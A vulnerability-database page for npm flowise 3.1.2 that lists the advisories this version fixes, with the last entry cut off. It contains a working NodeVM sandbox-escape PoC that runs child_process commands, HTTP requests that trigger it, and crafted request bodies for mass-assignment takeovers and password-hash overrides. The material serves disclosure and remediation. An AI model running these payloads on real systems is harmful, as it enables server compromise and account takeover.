Staging Environment: Content and features may be unstable or change without notice.
Search for packages
Package details: pkg:npm/flowise@3.1.2
purl pkg:npm/flowise@3.1.2
Vulnerabilities affecting this package (0)
Vulnerability Summary Fixed by
This package is not known to be affected by vulnerabilities.
Vulnerabilities fixed by this package (18)
Vulnerability Summary Aliases
VCID-18mf-vead-kybk FlowiseAI: Authenticated Host RCE via POST /api/v1/node-custom-function and NodeVM Sandbox Escape ### Summary `POST /api/v1/node-custom-function` lacks route-level authorization, allowing any authenticated user or API key to submit arbitrary JavaScript to the `Custom JS Function` node. When `E2B_APIKEY` is not configured — the common deployment case — Flowise executes this code inside a `NodeVM` sandbox. This sandbox can be escaped, allowing an attacker to reach the host `process` object and execute system commands via `child_process`. The result is authenticated remote code execution on the Flowise server host. CVSS v3.1: `AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H` = **9.9 Critical**. ### Details Two distinct security boundaries are violated. **1. Missing route-level authorization** `packages/server/src/routes/node-custom-functions/index.ts` registers the endpoint with no permission middleware: ```ts router.post('/', nodesRouter.executeCustomFunction) ``` Other sensitive routes in the same codebase use explicit permission gates: ```ts // packages/server/src/routes/chatflows/index.ts router.post( '/', checkAnyPermission('chatflows:create,chatflows:update,agentflows:create,agentflows:update'), chatflowsController.saveChatflow ) ``` Global `/api/v1` authentication still applies, so this is not unauthenticated — but any valid session or API key reaches the endpoint without further restriction. **2. NodeVM sandbox escape** The endpoint forwards `body.javascriptFunction` through the following chain: ``` POST /api/v1/node-custom-function → packages/server/src/controllers/nodes/index.ts → packages/server/src/utils/executeCustomNodeFunction.ts → packages/components/nodes/utilities/CustomFunction/CustomFunction.ts executeJavaScriptCode(javascriptFunction, sandbox) → packages/components/src/utils.ts if !process.env.E2B_APIKEY → NodeVM fallback → [SINK] host process / child_process ``` `packages/components/src/utils.ts` only uses the external E2B sandbox when `E2B_APIKEY` is set. Otherwise it silently falls back to `@flowiseai/nodevm`: ```ts const shouldUseSandbox = useSandbox && process.env.E2B_APIKEY ``` Flowise explicitly frames this as a sandboxed execution path — the helper is named `createCodeExecutionSandbox`, its inline comment reads `Execute JavaScript code using either Sandbox or NodeVM`, and the NodeVM instance is configured with `eval: false`, `wasm: false`, and mocked HTTP clients. The sandbox is a real declared security boundary, not incidental isolation. These controls do not prevent escape. The payload abuses an exception path where an `Error` object escapes the NodeVM boundary. Because the error originates from the host runtime, its constructor chain resolves to the outer Node.js realm. This allows recovery of the host `Function` constructor (`e.constructor.constructor`), which can then access `process` and built-in modules such as `child_process`: ```js const FunctionCtor = e.constructor.constructor; const cp = FunctionCtor('return process.getBuiltinModule("child_process")')(); return cp.execSync('id').toString().trim(); ``` The NodeVM fallback is the practical default. `packages/server/.env.example` and `CONTRIBUTING.md` do not require `E2B_APIKEY` for custom JS execution, so most deployments are affected. ### PoC **Standalone verification** (run from the repository root with `E2B_APIKEY` unset): ```js // poc_Flowise_NodeCustomFunction_RCE_2026.js const path = require('path'); delete process.env.E2B_APIKEY; process.env.TS_NODE_COMPILER_OPTIONS = JSON.stringify({ moduleResolution: 'NodeNext' }); require(path.resolve('targets/Flowise/node_modules/ts-node/register/transpile-only')); const { nodeClass: CustomFunction } = require(path.resolve( 'targets/Flowise/packages/components/nodes/utilities/CustomFunction/CustomFunction.ts' )); const attackCode = ` async function f() { const error = new Error(); error.name = Object.create(null); return error.stack; } return await f().catch(e => { const FunctionCtor = e.constructor.constructor; const cp = FunctionCtor('return process.getBuiltinModule("child_process")')(); return cp.execSync('id').toString().trim(); }); `; (async () => { const node = new CustomFunction(); const result = await node.init( { inputs: { javascriptFunction: attackCode } }, '', { appDataSource: {}, databaseEntities: {}, workspaceId: undefined, orgId: undefined } ); console.log('[RCE OUTPUT]', result); })(); ``` Confirmed output: ``` [RCE OUTPUT] uid=501(researcher) gid=20(staff) groups=20(staff),... ``` **HTTP trigger** (requires a valid API key or session): ```http POST /api/v1/node-custom-function HTTP/1.1 Host: target:3000 Authorization: Bearer <valid-api-key> Content-Type: application/json { "javascriptFunction": "async function f(){const error=new Error();error.name=Object.create(null);return error.stack;} return await f().catch(e=>{const F=e.constructor.constructor;const cp=F('return process.getBuiltinModule(\"child_process\")')();return cp.execSync('id').toString().trim();});" } ``` ### Impact Any authenticated Flowise user or holder of a standard API key can execute arbitrary commands as the Flowise server process. This includes reading environment variables and secrets, arbitrary filesystem access, outbound network requests from the host, and a foothold for persistence or lateral movement. The NodeVM fallback is the default for any deployment without `E2B_APIKEY` configured, which covers the majority of self-hosted instances. **Recommended remediation:** 1. Add explicit permission gating to `POST /api/v1/node-custom-function` using the existing `checkPermission` middleware pattern. 2. Fail closed if `E2B_APIKEY` is absent — do not silently downgrade to NodeVM for untrusted code execution. 3. Restrict this endpoint from generic API key access. CVE-2026-46442
GHSA-9rvc-vf7m-pgm2
VCID-2nte-wynr-4uby FlowiseAI: CustomTemplate create+update mass-assignment allows cross-workspace template takeover ## Summary **Type:** Mass assignment via `Object.assign(entity, body)` -> client-controlled `workspaceId` (and on create, `id`) overwritten on the CustomTemplate entity -> cross-workspace data takeover and IDOR. **File:** `packages/server/src/services/marketplaces/index.ts` **Root cause:** The CustomTemplate controller/service constructs a `new CustomTemplate()` and copies the request body into it via `Object.assign(...)` without an explicit field allowlist. The request body therefore can include `workspaceId`, `id`, `createdDate`, `updatedDate`. The server only rebinds *some* of these after the assign (e.g. on create, it overwrites `workspaceId` but not `id`; on update, it overwrites `id` but not `workspaceId`). The remaining client-controlled values land directly on the persisted row, breaking workspace isolation. Same root pattern as the customtemplate entity's sibling controllers and as `DocumentStore` before it was patched in commit 840d2ae. ## Affected Code **File:** `packages/server/src/services/marketplaces/index.ts` ```ts // at line 211 Object.assign(newTemplate, body) // <-- BUG: body.id, body.workspaceId accepted ``` **Why it's wrong:** `Object.assign(target, source)` copies every own enumerable property of `source` onto `target`. The TypeORM/SQL persistence layer below it does not strip ownership-bearing columns, so `workspaceId` set in the request body lands as the new `workspaceId` of the persisted row. The DocumentStore patch (commit 840d2ae) demonstrated the intended fix shape (explicit field-by-field allowlist) but it has not been applied to this entity. ## Exploit Chain 1. Attacker is an authenticated member of workspace A. They have a session cookie / JWT for the Flowise web UI. State at this point: attacker can read and write entities scoped to workspace A. 2. Attacker creates a customtemplate in workspace A via the documented API (or reuses an existing one they own). They note its entity `id`. 3. Attacker issues a `PUT /api/v1/customtemplates/<id>` (or equivalent endpoint) with a JSON body that includes `"workspaceId": "<workspace-B-id>"` (an arbitrary other workspace's UUID). State at this point: the request reaches the controller as a workspace-A authenticated request. 4. The controller calls `Object.assign(updateEntity, body)`. The body's `workspaceId` overwrites the entity's `workspaceId` field. The persistence layer commits the row. 5. Final state: the customtemplate row is now owned by workspace B. Workspace B members can see it, modify it, and use it. Workspace A loses access (it no longer satisfies their workspace filter). The original creator's workspace audit shows nothing because the operation looked like a normal update. ## Security Impact **Severity:** High. Cross-workspace boundary violation by any authenticated workspace member. **Attacker capability:** Any authenticated user with permission to update a customtemplate can move it to any workspace whose UUID they can guess or enumerate (workspace UUIDs are exposed in many API responses, so enumeration is trivial). CustomTemplates encode reusable workflow templates scoped to a workspace. Cross-workspace movement via `workspaceId` overwrite makes the template appear in another workspace's marketplace listing. **Preconditions:** Authenticated session with edit permission for the source customtemplate. No second factor required. Workspace UUIDs are exposed via the `/api/v1/workspaces` listing or via any cross-referenced object's `workspaceId` field, so target enumeration is trivial. **Differential:** PoC-verified by source inspection of the original GHSA-q4pr-4r26-c69r. Patched build (with the suggested fix below) refuses the `workspaceId` field; vulnerable build accepts it and persists it. ## Suggested Fix Already fixed in PR https://github.com/FlowiseAI/Flowise/pull/6129 (allowlist pattern applied). ```ts // Allowlist pattern (matches commit 840d2ae for DocumentStore): const updatedCustomTemplate = new CustomTemplate() if (body.<allowed_field_1> !== undefined) updatedCustomTemplate.<allowed_field_1> = body.<allowed_field_1> if (body.<allowed_field_2> !== undefined) updatedCustomTemplate.<allowed_field_2> = body.<allowed_field_2> // ...whitelist only the documented fields. Never copy id, workspaceId, createdDate, updatedDate from the client. ``` Regression tests should assert that a request body containing `workspaceId`, `id`, `createdDate`, or `updatedDate` is rejected (or at minimum: does not change those columns on the persisted row) for both create and update paths. CVE-2026-46476
GHSA-728h-4mwj-f2p4
VCID-337r-8vdn-s3ha Flowise: Hardcoded CORS wildcard on TTS endpoint enables cross-origin credential abuse from any webpage ### Summary The TTS generation endpoint sets `Access-Control-Allow-Origin: *` as a hardcoded response header, independent of the server's CORS configuration. This enables any webpage to make cross-origin requests to generate speech using stored credentials. ### Root Cause ```typescript // packages/server/src/controllers/text-to-speech/index.ts:83 res.setHeader('Access-Control-Allow-Origin', '*') res.setHeader('Access-Control-Allow-Headers', 'Cache-Control') ``` ### Impact - Cross-origin credential abuse — any webpage can trigger TTS using stored credentials - Bypasses the server's CORS policy (`getCorsOptions()`) which is otherwise restrictive by default - Combined with Finding 3 (TTS credential abuse), enables drive-by credential abuse via malicious webpages ### Suggested Fix Remove the hardcoded CORS wildcard and let the server's CORS middleware handle the headers: ```typescript // Remove these lines: // res.setHeader('Access-Control-Allow-Origin', '*') // res.setHeader('Access-Control-Allow-Headers', 'Cache-Control') ``` --- ## References - `packages/server/src/controllers/text-to-speech/index.ts` line 83 GHSA-m837-xvxr-vqwg
VCID-79yr-p69u-w7b6 FlowiseAI: Vector Store No Permission Checks ### FINDING 4: OpenAI Assistants Vector Store - No Auth on CRUD Operations **Severity**: HIGH (CVSS ~8.1) **Type**: CWE-306 (Missing Authentication for Critical Function) **File**: `packages/server/src/routes/openai-assistants-vector-store/index.ts` **Description**: ALL CRUD endpoints for OpenAI Assistants Vector Store have no authentication middleware AND the route path `/api/v1/openai-assistants-vector-store` is NOT in `WHITELIST_URLS`. However, it is also NOT protected by the main auth middleware when accessed via API key — the route requires API key auth (not whitelisted), but NO permission checks exist on any operation. The real issue is that the routes have no `checkAnyPermission()` middleware, meaning any authenticated user regardless of role can: - Create vector stores - Upload files to vector stores - Delete vector stores and files - Modify any vector store **Evidence**: ```typescript // No permission middleware on any route router.post('/', controller.createAssistantVectorStore) // No permission check router.put(['/', '/:id'], controller.updateAssistantVectorStore) // No permission check router.delete(['/', '/:id'], controller.deleteAssistantVectorStore) // No permission check router.post('/:id', getMulterStorage().array('files'), controller.uploadFilesToAssistantVectorStore) // No permission check ``` **Impact**: Any authenticated user can manipulate OpenAI vector stores, upload malicious files, delete data, or exfiltrate stored documents regardless of their assigned permissions. CVE-2026-46444
GHSA-hmg2-jjjx-jcp2
VCID-9fsx-rb6w-zfg2 FlowiseAI has Mass Assignment in Chatflow Update Endpoint that Allows Cross-Workspace AgentFlow Reassignment ### Summary A Mass Assignment vulnerability exists in the chatflow update endpoint of FlowiseAI. The endpoint allows clients to modify server-controlled properties such as deployed, isPublic, workspaceId, createdDate, and updatedDate when updating a chatflow object. Due to missing server-side validation and authorization checks, an authenticated user can manipulate internal attributes of a chatflow and reassign it to another workspace. This allows cross-workspace resource reassignment and unauthorized modification of deployment and visibility settings. ### Details The endpoint responsible for updating chatflows: **PUT /api/v1/chatflows/{chatflowId}** accepts a JSON request body containing the chatflow configuration (flowData) along with other metadata fields. However, the server does not restrict which properties may be modified by the client. As a result, user-controlled request bodies can include additional fields that should normally be controlled only by the backend. Examples of server-controlled fields that can be manipulated include: 1. deployed 2. isPublic 3. workspaceId 4. createdDate 5. updatedDate 6. category 7. type These fields appear to be directly mapped to the underlying database entity when processing the update request, suggesting that the server performs a direct merge of the request body into the chatflow model without applying a strict DTO whitelist or authorization checks. For example, modifying the request body with: ```json { "deployed": true, "isPublic": true, "createdDate": "1999-03-06T10:59:32.000Z", "updatedDate": "1999-03-06T13:21:34.000Z", "workspaceId": "11111111-2222-3333-4444-555555555555" } ``` results in the server accepting and persisting these values. In testing, a second workspace was created in the database and the workspaceId field was successfully modified through the API request. The chatflow was reassigned to the attacker-controlled workspace, confirming that the application does not enforce workspace ownership validation. ### PoC Authenticate to the Flowise interface. Capture the request used to update a chatflow: ```http PUT /api/v1/chatflows/<CHATFLOW_ID> Content-Type: application/json Modify the request body by injecting additional fields: { "name": "test-flow", "flowData": "{...}", "deployed": true, "isPublic": true, "workspaceId": "11111111-2222-3333-4444-555555555555" } ``` Send the request. Observe that the response returns the manipulated values: ```json { "deployed": true, "isPublic": true, "workspaceId": "11111111-2222-3333-4444-555555555555" } ``` Verify in the database that the chatflow has been reassigned: ```sql SELECT id, workspaceId FROM chat_flow WHERE id='<CHATFLOW_ID>'; ``` The workspaceId value reflects the attacker-supplied workspace. ### Impact This vulnerability allows authenticated users to manipulate server-controlled attributes of chatflows. Confirmed impacts include: - Unauthorized modification of chatflow visibility (isPublic) - Unauthorized deployment state changes (deployed) - Cross-workspace reassignment of chatflows (workspaceId) - Unauthorized modification of metadata (createdDate, updatedDate) In multi-tenant environments, this allows an attacker to move chatflows between workspaces without authorization, breaking tenant isolation boundaries. This may enable: - Cross-workspace workflow takeover - Unauthorized exposure of private workflows - Manipulation of deployed agent workflows The issue stems from missing authorization checks and improper handling of client-controlled input in the chatflow update endpoint. CVE-2026-42863
GHSA-5wxp-qjgq-fx6m
VCID-bzwr-tg6h-eqec Flowise: Mass Assignment in PUT /api/v1/user Allows Authenticated Users to Override Password Hash and Bypass Password Change Verification ### Summary A Mass Assignment vulnerability in the PUT /api/v1/user endpoint allows authenticated users to directly modify restricted user fields, including the credential (password hash), bypassing the intended password change workflow. Because the endpoint forwards the entire request body to the service layer without filtering, an attacker can override the credential field without providing the current password. This bypasses several security protections including: - old password verification - password hashing enforcement - password policy validation - session invalidation on password change While the vulnerability cannot be used to modify other users due to an ID check in the controller, it allows attackers who obtain a temporary session (e.g., via token theft or XSS) to establish persistent account access. ### Details The endpoint **PUT /api/v1/user** allows authenticated users to update their user profile. The controller checks that the authenticated user matches the provided id, preventing direct IDOR: ```typescript const currentUser = req.user const { id } = req.body if (currentUser.id !== id) { throw new InternalFlowiseError(StatusCodes.FORBIDDEN) } ``` However, the controller forwards the entire request body directly to the service layer without filtering: ```typescript const user = await userService.updateUser(req.body) ``` Inside UserService.updateUser, the incoming data is merged into the existing user entity: ```typescript updatedUser = queryRunner.manager.merge(User, oldUserData, newUserData) ``` Because newUserData is derived from req.body and there is no field allowlist, any field present in the User entity may be modified. This includes sensitive fields such as: - credential - tempToken - tokenExpiry - status - email The service implements a secure password change workflow that requires the following fields: ```typescript oldPassword newPassword confirmPassword ``` Example code: ```typescript if (newUserData.oldPassword && newUserData.newPassword && newUserData.confirmPassword) { if (!compareHash(newUserData.oldPassword, oldUserData.credential)) { throw new InternalFlowiseError(StatusCodes.BAD_REQUEST) } newUserData.credential = this.encryptUserCredential(newUserData.newPassword) } ``` However, this logic can be bypassed by directly supplying a credential value in the request body. Because the merge operation applies all fields from newUserData, the supplied credential hash will overwrite the stored password hash. ### PoC **Step 1 - Authenticate** Login as any normal user and obtain a valid JWT token. **POST /api/v1/auth/login** **Step 2 - Generate a password hash** Generate a bcrypt hash for a password you control. Example: bcrypt("attacker_password") Example hash: $2b$10$abc123examplehashvalue... Step 3 - Send crafted update request ```http PUT /api/v1/user Authorization: Bearer <JWT_TOKEN> Content-Type: application/json { "id": "<your-user-id>", "credential": "$2b$10$abc123examplehashvalue..." } ``` Step 4 - Login with attacker password The password hash in the database is replaced by the supplied value. The attacker can now authenticate using: **attacker_password** without ever providing the previous password. ### Impact This vulnerability allows authenticated users to bypass the password change security controls. Security protections that are bypassed include: current password verification password hashing enforcement password policy validation session invalidation on password change Although the controller prevents modification of other users' accounts, the vulnerability enables persistence after account compromise. Example attack scenario: - An attacker temporarily obtains a user's session (XSS, token leak, shared device, etc.) - The attacker sends the crafted update request with a new password hash - The attacker now permanently controls the account - Authentication logic bypass - Privilege persistence after compromise - Weak account recovery guarantees GHSA-59fh-9f3p-7m39
VCID-e7gn-zz4y-6bax FlowiseAI: Dataset create+update mass-assignment allows cross-workspace dataset takeover ## Summary **Type:** Mass assignment via `Object.assign(entity, body)` -> client-controlled `workspaceId` (and on create, `id`) overwritten on the Dataset entity -> cross-workspace data takeover and IDOR. **File:** `packages/server/src/services/dataset/index.ts` **Root cause:** The Dataset controller/service constructs a `new Dataset()` and copies the request body into it via `Object.assign(...)` without an explicit field allowlist. The request body therefore can include `workspaceId`, `id`, `createdDate`, `updatedDate`. The server only rebinds *some* of these after the assign (e.g. on create, it overwrites `workspaceId` but not `id`; on update, it overwrites `id` but not `workspaceId`). The remaining client-controlled values land directly on the persisted row, breaking workspace isolation. Same root pattern as the dataset entity's sibling controllers and as `DocumentStore` before it was patched in commit 840d2ae. ## Affected Code **File:** `packages/server/src/services/dataset/index.ts` ```ts // create (line 203) and update (line 226) Object.assign(newDataset, body) // <-- BUG: body.id, body.workspaceId accepted ``` **Why it's wrong:** `Object.assign(target, source)` copies every own enumerable property of `source` onto `target`. The TypeORM/SQL persistence layer below it does not strip ownership-bearing columns, so `workspaceId` set in the request body lands as the new `workspaceId` of the persisted row. The DocumentStore patch (commit 840d2ae) demonstrated the intended fix shape (explicit field-by-field allowlist) but it has not been applied to this entity. ## Exploit Chain 1. Attacker is an authenticated member of workspace A. They have a session cookie / JWT for the Flowise web UI. State at this point: attacker can read and write entities scoped to workspace A. 2. Attacker creates a dataset in workspace A via the documented API (or reuses an existing one they own). They note its entity `id`. 3. Attacker issues a `PUT /api/v1/datasets/<id>` (or equivalent endpoint) with a JSON body that includes `"workspaceId": "<workspace-B-id>"` (an arbitrary other workspace's UUID). State at this point: the request reaches the controller as a workspace-A authenticated request. 4. The controller calls `Object.assign(updateEntity, body)`. The body's `workspaceId` overwrites the entity's `workspaceId` field. The persistence layer commits the row. 5. Final state: the dataset row is now owned by workspace B. Workspace B members can see it, modify it, and use it. Workspace A loses access (it no longer satisfies their workspace filter). The original creator's workspace audit shows nothing because the operation looked like a normal update. ## Security Impact **Severity:** High. Cross-workspace boundary violation by any authenticated workspace member. **Attacker capability:** Any authenticated user with permission to update a dataset can move it to any workspace whose UUID they can guess or enumerate (workspace UUIDs are exposed in many API responses, so enumeration is trivial). Datasets hold training / evaluation data scoped to a workspace. Moving a Dataset across workspaces via `workspaceId` overwrite exposes the dataset (rows, schema, references) to the destination workspace. **Preconditions:** Authenticated session with edit permission for the source dataset. No second factor required. Workspace UUIDs are exposed via the `/api/v1/workspaces` listing or via any cross-referenced object's `workspaceId` field, so target enumeration is trivial. **Differential:** PoC-verified by source inspection of the original GHSA-q4pr-4r26-c69r. Patched build (with the suggested fix below) refuses the `workspaceId` field; vulnerable build accepts it and persists it. ## Suggested Fix Already fixed in PR https://github.com/FlowiseAI/Flowise/pull/6051 (allowlist pattern applied). ```ts // Allowlist pattern (matches commit 840d2ae for DocumentStore): const updatedDataset = new Dataset() if (body.<allowed_field_1> !== undefined) updatedDataset.<allowed_field_1> = body.<allowed_field_1> if (body.<allowed_field_2> !== undefined) updatedDataset.<allowed_field_2> = body.<allowed_field_2> // ...whitelist only the documented fields. Never copy id, workspaceId, createdDate, updatedDate from the client. ``` Regression tests should assert that a request body containing `workspaceId`, `id`, `createdDate`, or `updatedDate` is rejected (or at minimum: does not change those columns on the persisted row) for both create and update paths. CVE-2026-46477
GHSA-5h9v-837x-m97r
VCID-fh76-b76t-t3b2 FlowiseAI has Mass Assignment in Tool Update Endpoint that Allows Cross-Workspace Resource Reassignment ### Summary A Mass Assignment vulnerability exists in the tool update endpoint of FlowiseAI. The endpoint allows authenticated users to modify server-controlled properties such as workspaceId, createdDate, and updatedDate when updating a tool resource. Due to missing server-side validation and authorization checks, an attacker can manipulate the workspaceId field and reassign tools to arbitrary workspaces. This breaks tenant isolation in multi-workspace environments. ### Details The endpoint responsible for updating tools: **PUT /api/v1/tools/{toolId}** accepts a JSON request body containing tool metadata. However, the server does not restrict which properties may be modified by the client. As a result, user-controlled request bodies can include additional fields that should normally be controlled only by the backend. Server-controlled fields that can be manipulated include: 1. workspaceId 2. createdDate 3. updatedDate The request body is directly merged into the underlying database entity without proper DTO validation or authorization checks. ### PoC Authenticate to the Flowise interface. Capture the request used to update a tool: ```http PUT /api/v1/tools/<TOOL_ID> Content-Type: application/json Modify the request body by injecting additional fields: { "name": "aaa", "description": "bbb", "color": "linear-gradient(rgb(109,215,45), rgb(136,170,134))", "schema": "[]", "func": "", "iconSrc": "test", "workspaceId": "11111111-2222-3333-4444-555555555555", "createdDate": "1995-03-06T14:17:50.000Z", "updatedDate": "1995-03-06T14:17:50.000Z" } ``` Send the request. Observe that the response includes the manipulated fields: ```json { "workspaceId": "11111111-2222-3333-4444-555555555555", "createdDate": "1995-03-06T14:17:50.000Z" } ``` This confirms that client-controlled values are accepted and persisted by the server. ### Impact This vulnerability allows authenticated users to manipulate internal attributes of tool resources. Confirmed impacts include: - Cross-workspace reassignment of tools (workspaceId) - Unauthorized modification of metadata (createdDate, updatedDate) In multi-tenant deployments, this may allow an attacker to move tools between workspaces without authorization, breaking tenant isolation boundaries. CVE-2026-42862
GHSA-x5v6-pj28-cwwm
VCID-fvm6-q98f-ukeb FlowiseAI: Evaluator create+update mass-assignment allows cross-workspace evaluator takeover ## Summary **Type:** Mass assignment via `Object.assign(entity, body)` -> client-controlled `workspaceId` (and on create, `id`) overwritten on the Evaluator entity -> cross-workspace data takeover and IDOR. **File:** `packages/server/src/Interface.Evaluation.ts` **Root cause:** The Evaluator controller/service constructs a `new Evaluator()` and copies the request body into it via `Object.assign(...)` without an explicit field allowlist. The request body therefore can include `workspaceId`, `id`, `createdDate`, `updatedDate`. The server only rebinds *some* of these after the assign (e.g. on create, it overwrites `workspaceId` but not `id`; on update, it overwrites `id` but not `workspaceId`). The remaining client-controlled values land directly on the persisted row, breaking workspace isolation. Same root pattern as the evaluator entity's sibling controllers and as `DocumentStore` before it was patched in commit 840d2ae. ## Affected Code **File:** `packages/server/src/Interface.Evaluation.ts` ```ts // at line 85 Object.assign(newEvaluator, body) // <-- BUG: body.id, body.workspaceId, body.createdDate, body.updatedDate accepted ``` **Why it's wrong:** `Object.assign(target, source)` copies every own enumerable property of `source` onto `target`. The TypeORM/SQL persistence layer below it does not strip ownership-bearing columns, so `workspaceId` set in the request body lands as the new `workspaceId` of the persisted row. The DocumentStore patch (commit 840d2ae) demonstrated the intended fix shape (explicit field-by-field allowlist) but it has not been applied to this entity. ## Exploit Chain 1. Attacker is an authenticated member of workspace A. They have a session cookie / JWT for the Flowise web UI. State at this point: attacker can read and write entities scoped to workspace A. 2. Attacker creates a evaluator in workspace A via the documented API (or reuses an existing one they own). They note its entity `id`. 3. Attacker issues a `PUT /api/v1/evaluators/<id>` (or equivalent endpoint) with a JSON body that includes `"workspaceId": "<workspace-B-id>"` (an arbitrary other workspace's UUID). State at this point: the request reaches the controller as a workspace-A authenticated request. 4. The controller calls `Object.assign(updateEntity, body)`. The body's `workspaceId` overwrites the entity's `workspaceId` field. The persistence layer commits the row. 5. Final state: the evaluator row is now owned by workspace B. Workspace B members can see it, modify it, and use it. Workspace A loses access (it no longer satisfies their workspace filter). The original creator's workspace audit shows nothing because the operation looked like a normal update. ## Security Impact **Severity:** High. Cross-workspace boundary violation by any authenticated workspace member. **Attacker capability:** Any authenticated user with permission to update a evaluator can move it to any workspace whose UUID they can guess or enumerate (workspace UUIDs are exposed in many API responses, so enumeration is trivial). Evaluators score model outputs and can be moved into another workspace via `workspaceId` overwrite, making the evaluator (and its scoring rubric) appear there. **Preconditions:** Authenticated session with edit permission for the source evaluator. No second factor required. Workspace UUIDs are exposed via the `/api/v1/workspaces` listing or via any cross-referenced object's `workspaceId` field, so target enumeration is trivial. **Differential:** PoC-verified by source inspection of the original GHSA-q4pr-4r26-c69r. Patched build (with the suggested fix below) refuses the `workspaceId` field; vulnerable build accepts it and persists it. ## Suggested Fix Already fixed in PR https://github.com/FlowiseAI/Flowise/pull/6050 (allowlist pattern applied). ```ts // Allowlist pattern (matches commit 840d2ae for DocumentStore): const updatedEvaluator = new Evaluator() if (body.<allowed_field_1> !== undefined) updatedEvaluator.<allowed_field_1> = body.<allowed_field_1> if (body.<allowed_field_2> !== undefined) updatedEvaluator.<allowed_field_2> = body.<allowed_field_2> // ...whitelist only the documented fields. Never copy id, workspaceId, createdDate, updatedDate from the client. ``` Regression tests should assert that a request body containing `workspaceId`, `id`, `createdDate`, or `updatedDate` is rejected (or at minimum: does not change those columns on the persisted row) for both create and update paths. CVE-2026-46480
GHSA-wxrr-jp8m-qq7f
VCID-hach-m315-dqhz FlowiseAI Exposes Basic Auth Credentials via API **Detection Method:** Kolega.dev Deep Code Scan | Attribute | Value | |---|---| | Severity | Medium | | CWE | CWE-522 (Insufficiently Protected Credentials) | | Location | packages/server/src/enterprise/controllers/account.controller.ts:128-135 | | Practical Exploitability | Medium | | Developer Approver | faizan@kolega.ai | ### Description The checkBasicAuth endpoint validates credentials in plaintext without rate limiting and with direct comparison. ### Affected Code ``` public async checkBasicAuth(req: Request, res: Response) { const { username, password } = req.body if (username === process.env.FLOWISE_USERNAME && password === process.env.FLOWISE_PASSWORD) { return res.json({ message: 'Authentication successful' }) ``` ### Evidence Credentials are sent in plaintext in request body and compared directly without hashing. No rate limiting prevents brute force attacks. The endpoint returns different messages for success/failure, enabling enumeration. ### Impact Credential brute-forcing - attackers can attempt unlimited username/password combinations against the basic auth system. Successful attacks grant access to the application. ### Recommendation 1) Implement rate limiting on this endpoint, 2) Use constant-time comparison to prevent timing attacks, 3) Consider using hashed comparison, 4) Return generic error messages, 5) Add logging for failed attempts. ### Notes The checkBasicAuth endpoint at line 128-135 has multiple security issues: (1) No rate limiting - the RateLimiterManager only applies to chatflow-specific endpoints, not auth endpoints. Attackers can perform unlimited brute force attempts. (2) Uses JavaScript === operator for comparison which is not constant-time, potentially enabling timing attacks. (3) Returns different messages for success ('Authentication successful') vs failure ('Authentication failed'), enabling credential enumeration. The endpoint compares plaintext credentials against environment variables FLOWISE_USERNAME and FLOWISE_PASSWORD. While this is basic auth for simpler deployments, the lack of rate limiting makes it actively exploitable for credential brute-forcing. CVE-2026-46440
GHSA-php6-83fg-gw3g
VCID-jmqa-eb3a-83gb FlowiseAI has Mass Assignment in Assistant Update Endpoint that Allows Cross-Workspace Resource Reassignment ### Summary A Mass Assignment vulnerability exists in the assistant update endpoint of FlowiseAI. The endpoint allows authenticated users to modify server-controlled properties such as workspaceId, createdDate, and updatedDate when updating an assistant resource. Due to missing server-side validation and authorization checks, an attacker can manipulate the workspaceId field and reassign assistants to arbitrary workspaces. This breaks tenant isolation in multi-workspace environments. ### Details The endpoint responsible for updating assistants: **PUT /api/v1/assistants/{assistantId}** accepts a JSON request body containing assistant metadata. However, the server does not restrict which properties may be modified by the client. As a result, user-controlled request bodies can include additional fields that should normally be controlled only by the backend. Server-controlled fields that can be manipulated include: 1. workspaceId 2. createdDate 3. updatedDate These fields appear to be directly mapped to the underlying database entity without strict DTO whitelisting or authorization checks. For example, the following request body was accepted: ```json { "details": "", "credential": "11ca7fef-c9b1-4c87-aa54-e547aed8a249", "iconSrc": null, "type": "CUSTOM", "createdDate": "2026-03-06T17:31:04.000Z", "updatedDate": "2026-03-06T17:31:55.000Z", "workspaceId": "11111111-2222-3333-4444-555555555555" } ``` This indicates that internal, server-controlled properties can be modified by an authenticated user. ### PoC 1. Authenticate to the Flowise interface. 2. Capture the request used to update an assistant: ```http PUT /api/v1/assistants/<ASSISTANT_ID> Content-Type: application/json Modify the request body by injecting server-controlled fields: { "details": "", "credential": "11ca7fef-c9b1-4c87-aa54-e547aed8a249", "iconSrc": null, "type": "CUSTOM", "createdDate": "2026-03-06T17:31:04.000Z", "updatedDate": "2026-03-06T17:31:55.000Z", "workspaceId": "11111111-2222-3333-4444-555555555555" } ``` 3.Send the request. Observe that the response accepts and persists the attacker-controlled workspaceId and metadata fields. ### Impact This vulnerability allows authenticated users to manipulate internal attributes of assistant resources. Confirmed impacts include: - Cross-workspace reassignment of assistants (workspaceId) - Unauthorized modification of metadata (createdDate, updatedDate) In multi-tenant deployments, this may allow an attacker to move assistants between workspaces without authorization, breaking tenant isolation boundaries. CVE-2026-46441
GHSA-hp26-q66v-q2w7
VCID-jnbz-nkv5-sqgc FlowiseAI: Evaluation create+update mass-assignment allows cross-workspace evaluation takeover ## Summary **Type:** Mass assignment via `Object.assign(entity, body)` -> client-controlled `workspaceId` (and on create, `id`) overwritten on the Evaluation entity -> cross-workspace data takeover and IDOR. **File:** `packages/server/src/services/evaluations/index.ts` **Root cause:** The Evaluation controller/service constructs a `new Evaluation()` and copies the request body into it via `Object.assign(...)` without an explicit field allowlist. The request body therefore can include `workspaceId`, `id`, `createdDate`, `updatedDate`. The server only rebinds *some* of these after the assign (e.g. on create, it overwrites `workspaceId` but not `id`; on update, it overwrites `id` but not `workspaceId`). The remaining client-controlled values land directly on the persisted row, breaking workspace isolation. Same root pattern as the evaluation entity's sibling controllers and as `DocumentStore` before it was patched in commit 840d2ae. ## Affected Code **File:** `packages/server/src/services/evaluations/index.ts` ```ts // at line 69 Object.assign(newEvaluation, body) // <-- BUG: body.id, body.workspaceId, body.createdDate, body.updatedDate accepted ``` **Why it's wrong:** `Object.assign(target, source)` copies every own enumerable property of `source` onto `target`. The TypeORM/SQL persistence layer below it does not strip ownership-bearing columns, so `workspaceId` set in the request body lands as the new `workspaceId` of the persisted row. The DocumentStore patch (commit 840d2ae) demonstrated the intended fix shape (explicit field-by-field allowlist) but it has not been applied to this entity. ## Exploit Chain 1. Attacker is an authenticated member of workspace A. They have a session cookie / JWT for the Flowise web UI. State at this point: attacker can read and write entities scoped to workspace A. 2. Attacker creates a evaluation in workspace A via the documented API (or reuses an existing one they own). They note its entity `id`. 3. Attacker issues a `PUT /api/v1/evaluations/<id>` (or equivalent endpoint) with a JSON body 